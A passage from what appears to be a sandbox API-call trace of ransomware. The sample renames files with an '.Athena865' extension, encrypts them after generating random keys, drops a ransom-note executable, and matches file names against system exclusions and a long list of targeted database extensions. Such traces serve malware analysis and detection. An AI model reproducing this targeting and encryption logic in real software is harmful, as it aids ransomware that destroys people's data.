(lpString1="orWW.xml", lpString2="sqlitedb") returned -1 [0064.346] lstrlenW (lpString="xml") returned 3 [0064.346] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0064.346] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Athena865") returned 85 [0064.346] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.athena865"), dwFlags=0x1) returned 1 [0064.347] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.347] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8723) returned 1 [0064.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0064.347] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0064.347] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0064.348] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.348] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.349] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2520, lpName=0x0) returned 0x17c [0064.350] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2520) returned 0x100000 [0064.354] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0064.355] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.355] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0064.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0064.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.356] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.356] CloseHandle (hObject=0x17c) returned 1 [0064.356] CloseHandle (hObject=0x154) returned 1 [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.356] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0064.356] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.356] ReleaseMutex (hMutex=0xec) returned 1 [0064.356] CloseHandle (hObject=0xec) returned 1 [0064.356] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\DESIGNER" | out: lpString1="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516108 | out: hHeap=0x4f0000) returned 1 [0064.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509020 | out: hHeap=0x4f0000) returned 1 [0064.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER") returned 38 [0064.356] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CD953FFDF9EA0F9C1E2E5B5EF37CD752") returned 0xec [0064.357] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.357] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\DESIGNER" | out: lpString1="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER" [0064.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\designer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\designer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.357] GetLastError () returned 0x0 [0064.357] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0064.357] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.358] CloseHandle (hObject=0xf4) returned 1 [0064.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0064.358] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd405040, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd405040, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.359] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.359] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.359] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.359] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd405040, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd405040, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.359] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.359] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.359] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.359] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.359] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd405040, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd405040, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0064.359] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0064.359] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="..") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="windows") returned -1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="bootmgr") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="temp") returned -1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="pagefile.sys") returned -1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="boot") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ids.txt") returned 1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="ntuser.dat") returned -1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="perflogs") returned -1 [0064.359] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2="MSBuild") returned -1 [0064.359] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0064.359] lstrcpyW (in: lpString1=0x241e896, lpString2="MSADDNDR.DLL" | out: lpString1="MSADDNDR.DLL") returned="MSADDNDR.DLL" [0064.360] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0064.360] lstrlenW (lpString="Athena865") returned 9 [0064.360] lstrcmpiW (lpString1="DDNDR.DLL", lpString2="Athena865") returned 1 [0064.360] lstrlenW (lpString=".dll") returned 4 [0064.360] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".dll") returned 1 [0064.360] lstrlenW (lpString=".lnk") returned 4 [0064.360] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".lnk") returned 1 [0064.360] lstrlenW (lpString=".ini") returned 4 [0064.360] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".ini") returned 1 [0064.360] lstrlenW (lpString=".sys") returned 4 [0064.360] lstrcmpiW (lpString1="MSADDNDR.DLL", lpString2=".sys") returned 1 [0064.360] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0064.360] lstrlenW (lpString="bak") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0064.360] lstrlenW (lpString="ba_") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0064.360] lstrlenW (lpString="dbb") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0064.360] lstrlenW (lpString="vmdk") returned 4 [0064.360] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0064.360] lstrlenW (lpString="rar") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0064.360] lstrlenW (lpString="zip") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0064.360] lstrlenW (lpString="tgz") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0064.360] lstrlenW (lpString="vbox") returned 4 [0064.360] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0064.360] lstrlenW (lpString="vdi") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0064.360] lstrlenW (lpString="vhd") returned 3 [0064.360] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0064.360] lstrlenW (lpString="vhdx") returned 4 [0064.360] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0064.360] lstrlenW (lpString="avhd") returned 4 [0064.361] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0064.361] lstrlenW (lpString="db") returned 2 [0064.361] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0064.361] lstrlenW (lpString="db2") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0064.361] lstrlenW (lpString="db3") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0064.361] lstrlenW (lpString="dbf") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0064.361] lstrlenW (lpString="mdf") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0064.361] lstrlenW (lpString="mdb") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0064.361] lstrlenW (lpString="sql") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0064.361] lstrlenW (lpString="sqlite") returned 6 [0064.361] lstrcmpiW (lpString1="DR.DLL", lpString2="sqlite") returned -1 [0064.361] lstrlenW (lpString="sqlite3") returned 7 [0064.361] lstrcmpiW (lpString1="NDR.DLL", lpString2="sqlite3") returned -1 [0064.361] lstrlenW (lpString="sqlitedb") returned 8 [0064.361] lstrcmpiW (lpString1="DNDR.DLL", lpString2="sqlitedb") returned -1 [0064.361] lstrlenW (lpString="xml") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0064.361] lstrlenW (lpString="$er") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0064.361] lstrlenW (lpString="4dd") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0064.361] lstrlenW (lpString="4dl") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0064.361] lstrlenW (lpString="^^^") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0064.361] lstrlenW (lpString="abs") returned 3 [0064.361] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0064.361] lstrlenW (lpString="abx") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0064.362] lstrlenW (lpString="accdb") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0064.362] lstrlenW (lpString="accdc") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0064.362] lstrlenW (lpString="accde") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0064.362] lstrlenW (lpString="accdr") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0064.362] lstrlenW (lpString="accdt") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0064.362] lstrlenW (lpString="accdw") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0064.362] lstrlenW (lpString="accft") returned 5 [0064.362] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0064.362] lstrlenW (lpString="adb") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0064.362] lstrlenW (lpString="adb") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0064.362] lstrlenW (lpString="ade") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0064.362] lstrlenW (lpString="adf") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0064.362] lstrlenW (lpString="adn") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0064.362] lstrlenW (lpString="adp") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0064.362] lstrlenW (lpString="alf") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0064.362] lstrlenW (lpString="ask") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0064.362] lstrlenW (lpString="btr") returned 3 [0064.362] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0064.362] lstrlenW (lpString="cat") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0064.363] lstrlenW (lpString="cdb") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0064.363] lstrlenW (lpString="ckp") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0064.363] lstrlenW (lpString="cma") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0064.363] lstrlenW (lpString="cpd") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0064.363] lstrlenW (lpString="dacpac") returned 6 [0064.363] lstrcmpiW (lpString1="DR.DLL", lpString2="dacpac") returned 1 [0064.363] lstrlenW (lpString="dad") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0064.363] lstrlenW (lpString="dadiagrams") returned 10 [0064.363] lstrcmpiW (lpString1="ADDNDR.DLL", lpString2="dadiagrams") returned -1 [0064.363] lstrlenW (lpString="daschema") returned 8 [0064.363] lstrcmpiW (lpString1="DNDR.DLL", lpString2="daschema") returned 1 [0064.363] lstrlenW (lpString="db-journal") returned 10 [0064.363] lstrcmpiW (lpString1="ADDNDR.DLL", lpString2="db-journal") returned -1 [0064.363] lstrlenW (lpString="db-shm") returned 6 [0064.363] lstrcmpiW (lpString1="DR.DLL", lpString2="db-shm") returned 1 [0064.363] lstrlenW (lpString="db-wal") returned 6 [0064.363] lstrcmpiW (lpString1="DR.DLL", lpString2="db-wal") returned 1 [0064.363] lstrlenW (lpString="dbc") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0064.363] lstrlenW (lpString="dbs") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0064.363] lstrlenW (lpString="dbt") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0064.363] lstrlenW (lpString="dbv") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0064.363] lstrlenW (lpString="dbx") returned 3 [0064.363] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0064.363] lstrlenW (lpString="dcb") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0064.364] lstrlenW (lpString="dct") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0064.364] lstrlenW (lpString="dcx") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0064.364] lstrlenW (lpString="ddl") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0064.364] lstrlenW (lpString="dlis") returned 4 [0064.364] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0064.364] lstrlenW (lpString="dp1") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0064.364] lstrlenW (lpString="dqy") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0064.364] lstrlenW (lpString="dsk") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0064.364] lstrlenW (lpString="dsn") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0064.364] lstrlenW (lpString="dtsx") returned 4 [0064.364] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0064.364] lstrlenW (lpString="dxl") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0064.364] lstrlenW (lpString="eco") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0064.364] lstrlenW (lpString="ecx") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0064.364] lstrlenW (lpString="edb") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0064.364] lstrlenW (lpString="epim") returned 4 [0064.364] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0064.364] lstrlenW (lpString="fcd") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0064.364] lstrlenW (lpString="fdb") returned 3 [0064.364] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0064.364] lstrlenW (lpString="fic") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0064.365] lstrlenW (lpString="flexolibrary") returned 12 [0064.365] lstrlenW (lpString="fm5") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0064.365] lstrlenW (lpString="fmp") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0064.365] lstrlenW (lpString="fmp12") returned 5 [0064.365] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0064.365] lstrlenW (lpString="fmpsl") returned 5 [0064.365] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0064.365] lstrlenW (lpString="fol") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0064.365] lstrlenW (lpString="fp3") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0064.365] lstrlenW (lpString="fp4") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0064.365] lstrlenW (lpString="fp5") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0064.365] lstrlenW (lpString="fp7") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0064.365] lstrlenW (lpString="fpt") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0064.365] lstrlenW (lpString="frm") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0064.365] lstrlenW (lpString="gdb") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0064.365] lstrlenW (lpString="gdb") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0064.365] lstrlenW (lpString="grdb") returned 4 [0064.365] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0064.365] lstrlenW (lpString="gwi") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0064.365] lstrlenW (lpString="hdb") returned 3 [0064.365] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0064.366] lstrlenW (lpString="his") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0064.366] lstrlenW (lpString="ib") returned 2 [0064.366] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0064.366] lstrlenW (lpString="idb") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0064.366] lstrlenW (lpString="ihx") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0064.366] lstrlenW (lpString="itdb") returned 4 [0064.366] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0064.366] lstrlenW (lpString="itw") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0064.366] lstrlenW (lpString="jet") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0064.366] lstrlenW (lpString="jtx") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0064.366] lstrlenW (lpString="kdb") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0064.366] lstrlenW (lpString="kexi") returned 4 [0064.366] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0064.366] lstrlenW (lpString="kexic") returned 5 [0064.366] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0064.366] lstrlenW (lpString="kexis") returned 5 [0064.366] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0064.366] lstrlenW (lpString="lgc") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0064.366] lstrlenW (lpString="lwx") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0064.366] lstrlenW (lpString="maf") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0064.366] lstrlenW (lpString="maq") returned 3 [0064.366] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0064.366] lstrlenW (lpString="mar") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0064.367] lstrlenW (lpString="marshal") returned 7 [0064.367] lstrcmpiW (lpString1="NDR.DLL", lpString2="marshal") returned 1 [0064.367] lstrlenW (lpString="mas") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0064.367] lstrlenW (lpString="mav") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0064.367] lstrlenW (lpString="maw") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0064.367] lstrlenW (lpString="mdbhtml") returned 7 [0064.367] lstrcmpiW (lpString1="NDR.DLL", lpString2="mdbhtml") returned 1 [0064.367] lstrlenW (lpString="mdn") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0064.367] lstrlenW (lpString="mdt") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0064.367] lstrlenW (lpString="mfd") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0064.367] lstrlenW (lpString="mpd") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 